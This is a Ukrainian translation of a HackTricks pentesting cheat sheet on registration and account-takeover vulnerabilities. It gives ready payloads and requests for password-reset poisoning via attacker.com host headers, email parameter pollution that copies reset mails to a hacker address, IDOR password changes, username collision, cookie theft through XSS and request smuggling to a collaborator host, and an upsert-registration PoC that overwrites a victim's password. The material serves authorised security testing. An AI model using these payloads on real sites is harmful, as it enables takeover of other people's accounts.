Вразливості реєстрації та Takeover

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Реєстрація Takeover

Дублювання реєстрації

  • Спробуйте створити акаунт з існуючим username
  • Перевірте варіації email:
  • верхній регістр
  • +1@
  • додайте крапку в email
  • спеціальні символи в імені email (%00, %09, %20)
  • Додайте black characters після email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Username Enumeration

Перевірте, чи можна визначити, коли username вже зареєстрований у додатку.

Password Policy

Під час створення користувача перевірте політику паролів (чи можна використовувати слабкі паролі).
У такому випадку можна спробувати здійснити bruteforce credentials.

SQL Injection

Check this page щоб дізнатися, як намагатися takeover акаунти або витягнути інформацію через SQL Injections у формах реєстрації.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Зміна email

Після реєстрації спробуйте змінити email і перевірте, чи ця зміна коректно валідується або чи можна змінити її на довільні email.

Додаткові перевірки

  • Перевірте, чи можна використовувати disposable emails
  • Long password (>200) призводить до DoS
  • Check rate limits on account creation
  • Використайте username@burp_collab.net та проаналізуйте callback

Password Reset Takeover

Password Reset Token Leak Via Referrer

  1. Запросіть password reset на вашу email-адресу
  2. Клікніть по password reset link
  3. Не змінюйте пароль
  4. Клікніть на будь-який сайт третьої сторони (наприклад: Facebook, twitter)
  5. Перехопіть запит в Burp Suite proxy
  6. Перевірте, чи referer header is leaking password reset token.

Password Reset Poisoning

  1. Перехопіть password reset request в Burp Suite
  2. Додайте або змініть наступні заголовки в Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Forward the request with the modified header
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Шукайте password reset URL, побудований на основі host header, наприклад : https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR у параметрах API

  1. Зловмисник повинен увійти у свій акаунт і перейти до функції Change password.
  2. Запустіть Burp Suite та перехопіть запит
  3. Відправте його на вкладку repeater і відредагуйте параметри : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Слабкий токен скидання пароля

Токен скидання пароля повинен генеруватися випадково й бути унікальним кожного разу.
Спробуйте визначити, чи токен має термін дії або чи він завжди однаковий; в деяких випадках алгоритм генерації слабкий і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.

  • Timestamp
  • UserID
  • Email користувача
  • Ім'я та прізвище
  • Дата народження
  • Криптографія
  • Тільки цифри
  • Коротка послідовність токена ( characters between [A-Z,a-z,0-9])
  • Повторне використання токена
  • Дата закінчення дії токена

Leaking Password Reset Token

  1. Спровокуйте запит на скидання пароля через API/UI для конкретного email e.g: test@mail.com
  2. Inspect the server response and check for resetToken
  3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. Зареєструйтеся в системі з username, ідентичним username жертви, але з пробілами, вставленими перед та/або після імені користувача. e.g: "admin "
  2. Запросіть скидання пароля для вашого зловмисного username.
  3. Використайте токен, надісланий на вашу електронну пошту, щоб скинути пароль жертви.
  4. Увійдіть в акаунт жертви з новим паролем.

The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. Знайдіть XSS всередині додатку або в субдомені, якщо cookies scoped до parent домену : *.domain.com
  2. Leak the current sessions cookie
  3. Authenticate as the user using the cookie

Account Takeover Via HTTP Request Smuggling

1. Використайте smuggler для визначення типу HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Сформуйте запит, який перезапише POST / HTTP/1.1 наступними даними:
GET http://something.burpcollaborator.net HTTP/1.1 X: with the goal of open redirect the victims to burpcollab and steal their cookies
3. Фінальний запит може виглядати наступним чином

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone повідомляє про експлуатацію цієї вразливості
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Account Takeover via CSRF

  1. Створіть payload для CSRF, наприклад: “HTML form with auto submit for a password change”
  2. Відправте payload

Account Takeover via JWT

JSON Web Token може використовуватися для аутентифікації користувача.

  • Відредагуйте JWT, підставивши інший User ID / Email
  • Перевірте на наявність слабкого підпису JWT

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Деякі signup handlers виконують upsert, коли вказаний email вже існує. Якщо endpoint приймає мінімальний body з email і password і не вимагає перевірки прав власності, відправлення email жертви перезапише її пароль до автентифікації.

  • Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
  • Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
  • Minimal body observed in the wild:
json
{"email":"victim@example.com","password":"New@12345"}

Приклад PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Вплив: Повний Account Takeover (ATO) без будь-якого reset token, OTP або email verification.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks